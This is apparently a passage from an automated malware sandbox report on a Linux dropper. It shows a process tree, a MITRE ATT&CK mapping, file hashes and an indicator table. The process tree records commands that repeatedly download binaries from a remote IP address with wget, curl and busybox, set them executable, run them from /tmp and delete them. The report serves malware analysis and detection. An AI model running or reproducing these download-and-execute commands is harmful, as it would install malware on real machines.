  /bin/busybox wget http://87.120.84.230/bins/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  PID:943
- /bin/chmod
  chmod 777 Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  ./Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  PID:949
- /bin/chmod
  chmod 777 XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  ./XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  PID:955
- /bin/chmod
  chmod 777 ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  ./ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  PID:958
- /usr/bin/wget
  wget http://87.120.84.230/bins/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  PID:961
- /bin/chmod
  chmod 777 53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  ./53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm 53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.84.230/bins/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  PID:967
- /bin/chmod
  chmod 777 sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  ./sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  PID:970

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh

Path /tmp/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh	727	7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
/tmp/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K	735	5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
/tmp/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS	741	W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
/tmp/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u	761	ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
/tmp/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR	790	53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
/tmp/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX	807	sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
/tmp/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd	813	rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
/tmp/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5	831	Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
/tmp/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ	853	XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
/tmp/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs	861	L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
/tmp/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD	867	PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
/tmp/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf	873	eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
/tmp/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II	879	14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
/tmp/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W	885	Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
/tmp/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs	891	L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
/tmp/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II	897	14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
/tmp/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W	903	Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
/tmp/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD	909	PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
/tmp/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf	915	eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
/tmp/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K	921	5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
/tmp/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS	927	W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
/tmp/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh	933	7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
/tmp/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd	939	rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
/tmp/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5	945	Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
/tmp/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ	951	XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
/tmp/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u	957	ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
/tmp/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR	963	53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
/tmp/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX	969	sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX